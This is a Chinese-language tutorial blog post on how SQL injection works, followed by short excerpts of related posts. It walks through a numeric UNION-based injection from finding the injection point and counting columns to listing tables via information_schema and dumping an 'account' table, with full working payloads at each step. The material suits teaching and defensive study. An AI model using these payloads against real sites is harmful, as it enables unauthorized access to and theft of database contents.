SQL注入原理總結

2021-10-07 16:44:46 字數 2634 閱讀 8359

sql注入即是使用者通過改變使用者輸入框中的輸入,從而改變原語句本來的sql語句,在管理員不知情的情況下獲取到資料庫中使用者本不能獲取到的資料。sql注入的種類很多,數字型,字元型,搜尋型等,這裡只介紹數字型,輸入的引數為整型的注入歸為數字型。這裡只介紹最簡單的過程,注入中不存在任何過濾的操作。

執行該語句正常返回結果

資料庫執行下列語句(這些語句使用者是不知道,通過猜測的語句)

select * from news where id = 1

「執行該語句返回異常

select * from news where id = 1「

and 1=1 執行正常返回

select * from news where id = 1 and 1=1

and 1=2執行異常

select * from news where id = 1 and 1=2

通過以上步驟,基本可以確定注入點,切為數字型

order byn

select * from news where id = 1 order by n

這裡的n為使用者輸入的數字,如果n<=原語句查詢的結果,資料將正常的得到返回,如果大於原語句查詢的結果,系統將直接報錯*fatal error: call to a member function fetch_assoc() on boolean,這裡利用的是order by 語句的特性,order by後可以跟列名,表示依據那一列來排序;也可以跟數字,表示根據第幾列來排序(從1開始)。<=正常結果時,資料庫正常返回,同時排序,當》原查詢列時,sql找不到這樣的列,自然進行報錯,通過這個特性便可以知道查詢的結果有多少列,這裡同時可以使用折半查詢,第一次n取10報錯取5,報錯取2或3,正常取7或8以此這樣很快便能得到查詢的結果有多少列。(我的查詢返回的列是3,即3時正常返回,4返回異常)

union select 1,2,3

select * from news where id = -1 union select 1,2,3

可以看到原本查詢結果的地方變成了2,3,說明資料有效返回的位置在2,3位置,這裡利用的是union的特性,union為聯合查詢,需要注意的是前後兩個查詢的字段數必須相同。原本應該將第乙個語句的結果和第二個的結果整合後一起顯示出來,但是如果前乙個的語句正常執行,結果只會返回前乙個語句的結果,故需要將前面的語句報錯id=-1(不存在等於-1的情況),所以該語句就只返回後面的select的結果

union select 1,concat(database(),』|』,user()),version()

select * from news where id = -1 union select 1,concat(database(),』|』,user()),version()

這裡直接將剛才2,3的位置換位database(),user()version()即可,之前返回2,3的位置會直接返回資料庫名,版本號、使用者名稱,可以一次替換兩個,分兩步查詢,也可以使用concat直接返回所有結果。concat將查詢的結果連線起來,為了結果顯示的清晰,我用「|「將查詢結果分開。

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

select * from news where id = -1 union select 1,2,concat(table_name) from information_schema.tables where table_schema=database()

將原本3的位置換為group_concat(table_name),之後新增查詢的條件語句。information_schema是虛擬資料庫其中包含資料庫名稱、資料表名稱和訪問許可權,通過這個表可以訪問表名列名等內容。group_concat將同乙個分組中的值連線起來,用於獲取表中所有列名。這裡我的資料庫中有兩個表,分別是account和news。

得到表名後,即可查詢列名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name=『account』

select * from news where id = -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='account』id = -1 union select 1,2,concat_ws(』,』,id,rest,own) from account

select * from news where id = -1 union select 1,2,concat_ws(』,』,id,rest,own) from account

通過剛剛拿到的列名在列中查詢具體的結果,concat_ws(『分隔符』,需要查詢的內容,需要查詢的內容)注意在寫入查詢內容時,不需要用引號。

sql注入原理

所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。簡單例項 一張使用者表user,一般需要通過user id運算元據庫,例如 我們想要查詢 user id 1 的使用者資訊 通常我們可以寫sql語句 select fr...

SQL注入原理

概述 sql注入 應用程式在向後台資料庫傳遞sql structured query language 結構化查詢語言 查詢時,如果攻擊者提供了影響該查詢的能力,就會引發sql注入。sql注入不只是一種會影響web應用的漏洞,對於任何從不可信源獲取輸入的 來說,如果使用輸入來構造動態sql語句,就有...

SQL 注入原理

sql 注入的原因是應用程式對使用者輸入的資料沒有進行合法判斷,並且直接將資料傳給資料庫進行查詢。流程如下 如果應用程式會直接返回查詢的結果,那麼我們將可以使用基於查詢的注入方法。聯合查詢法 應用程式不返回查詢結果,反而返回 sql 資料庫的報錯資訊。其流程如下 應用程式不會返回查詢結果,而是會返回...